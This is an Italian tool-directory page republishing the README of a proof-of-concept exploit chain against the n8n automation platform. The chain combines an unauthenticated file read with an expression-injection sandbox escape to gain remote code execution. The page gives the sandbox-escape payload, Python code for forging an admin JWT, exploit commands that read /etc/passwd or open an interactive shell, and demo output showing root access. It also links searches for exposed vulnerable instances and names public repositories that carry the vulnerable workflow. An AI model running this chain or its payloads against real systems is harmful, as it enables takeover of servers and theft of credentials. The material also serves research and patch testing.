Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-21858 — n8n Ni8mare - Catena da lettura arbitraria di file non autenticata a RCE (CVSS 10.0) | Kitploit
Strumenti/GitHubGitHub/chocapikk/cve-2026-21858
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubchocapikk/cve-2026-21858

CVE-2026-21858

n8n Ni8mare - Catena da lettura arbitraria di file non autenticata a RCE (CVSS 10.0)

Vedi Repository
261514 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2026-21858 + CVE-2025-68613 - Catena completa n8n

Lettura arbitraria di file non autenticata → Forgiatura token admin → Bypass sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Critico)
Interessate<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Corretta1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgata2026-01-07 11:09 UTC
Nome in codiceNi8mare
CreditiDor Attias (Cyera)
ExploitChocapikk
ProcessoAutomatizzato con IA: diff della patch → riproduzione → laboratorio → exploit (~9 ore dopo la divulgazione)
TipoProof of Concept - NON un exploit universale (richiede una configurazione specifica del workflow, vedi Limitazioni)

TL;DR

Catena RCE completa non autenticata su n8n:

  1. CVE-2026-21858 - Confusione Content-Type → Lettura arbitraria di file
  2. Leggi configurazione + database → forgia JWT admin
  3. CVE-2025-68613 - Iniezione di espressioni → bypass sandbox → RCE

Rilevamento

L'esposizione è basata sulla versione: in pratica, esistono istanze n8n vulnerabili accessibili pubblicamente.

Risultati LeakIX: Visualizza le istanze esposte

Risultati di rilevamento LeakIX

Perché questo exploit?

Questo exploit è stato sviluppato indipendentemente dall'analisi di Cyera (scoperta dopo il completamento). Differenze principali:

Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera richiede chat + integrazione IA, questo exploit richiede un form con nodo Respond. Vedi Limitazioni per i dettagli.

Catena d'attacco

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lettura arbitraria di file tramite confusione Content-Type

La patch

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

La leggendaria "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️

Causa principale

root@kitploit:~
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.

CVE-2025-68613 - RCE tramite iniezione di espressioni

Perché questo bypass?

n8n mette in sandbox il codice utente (Code Node, espressioni) usando vm2/isolated-vm. Altri vettori RCE:

TecnicaStato
Nodo Execute CommandDisabilitato di default (N8N_ALLOW_EXEC_COMMAND=false)

Ho usato l'iniezione di espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo o configurazione speciale richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il Python Code Node che potrebbe non essere disponibile su tutte le istanze.

Il payload

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Le espressioni di n8n hanno accesso a this.process.mainModule.require → escape completo dalla sandbox.

Forgiatura token

root@kitploit:~
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configurazione del lab

root@kitploit:~
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Utilizzo

root@kitploit:~
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitazioni

Questo NON è un exploit "pwn any n8n". Richiede condizioni specifiche per funzionare:

RequisitoDescrizione
Form con caricamento file

Esempio di configurazione di workflow vulnerabile:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Gli elementi chiave sono: fieldType: "file" + respondWith: "binary". Questo schema è comune nei workflow di elaborazione file (convertitori, ridimensionatori di immagini, processori di documenti).

Funziona con:

  • Form con nodo Respond che restituiscono binario (convertitori di file, processori)
  • Installazioni n8n predefinite (iniezione di espressioni non bloccata)
  • Distribuzioni locali/Docker (database + configurazione salvati su disco)

Non funziona con:

  • Form senza nodo Respond (il file viene letto ma il contenuto non viene restituito nella risposta HTTP)
  • Form che richiedono autenticazione
  • n8n Cloud (architettura diversa, nessun accesso ai file locali)
  • Versioni patchate (>= 1.121.0)

Nota: La vulnerabilità (lettura arbitraria di file) viene attivata indipendentemente dal metodo di esfiltrazione. Il nodo Respond è solo un modo per recuperare il contenuto. Metodi alternativi (OOB, altri nodi di output) potrebbero funzionare a seconda della configurazione del workflow.

Sfruttamento cieco: Se non esiste un nodo respond, il file viene comunque letto da n8n ma non può essere esfiltrato tramite risposta HTTP. Sarebbero necessarie tecniche alternative (OOB, timing).

Esempi reali

Lo schema vulnerabile (Form Trigger + caricamento file + Respond to Webhook) esiste in repository GitHub pubblici.

Nota: I repository di workflow n8n più popolari (>100⭐) non usano questo schema. Si tratta di progetti comunitari/personali:

Questi sono workflow contribuiti dalla community. Nessun modello ufficiale n8n.io usa questo schema vulnerabile.

Riferimenti

  • Ambiente Vulhub - Lab pronto all'uso su Vulhub
  • Ricerca Cyera - Analisi completa di Ni8mare - Ricerca originale di Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Nuclei Template CVE-2025-68613
  • Risultati di ricerca LeakIX - Istanze vulnerabili esposte
  • Formidable - "La libreria, non la canzone" (grazie Cyera per la risata)
Scarica lo strumento
Cyera (Ricerca originale)Questo exploit
Lettura fileCaricamento nella knowledge base IA → interrogazione tramite chatRisposta HTTP diretta
PrerequisitiWorkflow chat + integrazione IAQualsiasi form con caricamento file
Metodo RCENodo "Execute Command" (disabilitato di default)Iniezione di espressioni (funziona su installazioni predefinite)
AutomazioneDimostrazione manuale/concettualeScript Python completamente automatizzato
Nodi SSH/HTTPEseguono su server remoti, non sull'host n8n
Escape sandbox PyodideCVE-2025-68668 - richiede il Python Code Node
Iniezione di espressioniCVE-2025-68613 - funziona su installazioni predefinite
Il target deve avere un workflow di form con un campo di caricamento file
Nodo Respond to WebhookIl workflow deve restituire il contenuto del file nella risposta HTTP
Workflow attivoIl workflow del form deve essere attivato
Accesso non autenticatoIl form deve essere accessibile pubblicamente (senza autenticazione)
File del workflowCampi filerespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImmagini, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocumento (PDF)text
ai_resume_project/resume_rag.jsonCaricamento fileallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonFile audiotext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.jsonCarica filedefault
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfiledefault
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonCarica il tuo documentodefault
learn_earn_ai_insta/.../My workflow.jsoncarica il tuo filedefault
finintworkshop/.../API using n8n (ToT).jsonfilejson